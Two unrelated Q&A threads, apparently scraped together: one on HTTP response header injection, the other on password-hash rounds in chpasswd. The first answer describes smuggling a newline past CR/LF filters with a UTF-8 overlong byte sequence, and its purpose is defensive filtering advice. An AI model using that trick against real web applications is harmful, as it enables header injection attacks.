Do you have any arguments other than Canonicalization to justify this flaw?
Or Am I strongly wrong and this code is safe ?
Thank you in advance.

Frenchy

In principle HTTP headers are ISO-8859-1 according to RFC 2616. In practice non-ASCII content in HTTP headers will be in a different encoding depending on the browser (and for IE also locale), but always an ASCII superset. Consequently CR and LF would invariably be encoded as 0x0D and 0x0A so there shouldn't be anything to worry about if you are replacing those.

The only point at which encoding would come into play would be for UTF-8 overlong sequences. For example 0x0A could be encoded as 0xC0 0x8A. This is invalid, but has been accepted by various UTF-8 decoders in the past. So, if:

you're using a non-UTF-8 [default] encoding in your web app, so that this byte sequence would get through without Java complaining it was an overlong, and
the user-agent you were sending the header to were to decode headers en bloc using UTF-8, and
the user-agent permitted overlong UTF-8 sequences

then yes, you could get header smuggling attacks by reflecting a parameter into a response header.

With today's user-agents this is a pretty unlikely proposition, but in general I would say it's worth removing all non-ASCII characters from header values, just because they're handled so inconsistently across browsers as to be useless in any case. I'd also recommend filtering out all the control characters 0x00–0x1F, not just newlines.


What are SHA-rounds? I understand more sha-rounds make it difficult to bruteforce the hashed password in /etc/shadow. Higher rounds also use more CPU processing when executing sudo commands and logging into the Unix account. But what are sha-rounds really? The chpasswd manual doesn't really give a technical definition of sha-rounds.

-s, --sha-rounds ROUNDS
           Use the specified number of rounds to encrypt the passwords.

           The value 0 means that the system will choose the default number of rounds for the crypt method (5000).

           A minimal value of 1000 and a maximal value of 999,999,999 will be enforced.

           You can only use this option with the SHA256 or SHA512 crypt method.

           By default, the number of rounds is defined by the SHA_CRYPT_MIN_ROUNDS and SHA_CRYPT_MAX_ROUNDS variables in /etc/login.defs.

The SHA-2 wiki doesn't really say either:

SHA-256 and SHA-512 ... use different shift amounts and additive constants, but their structures are otherwise virtually identical, differing only in the number of rounds.

In both the chpasswd manual and SHA-2 wiki, there isn't enough context to determine what "sha-rounds" are or how they relate to SHA512.

What the manual is referring to as rounds is probably better called iterations. While it is true that the SHA-2 function internally has a fixed number of rounds (64 or 80, depending on which hash is used), that is not what this manual is talking about. In order to make hashed passwords more secure, programs will often put the password through a KDF function such as PBKDF2, which runs a single hash function many times over to slow down brute force attacks. This is what "rounds" refers to in this context. The higher the round number, the longer it takes for a password to be processed and the more secure it is.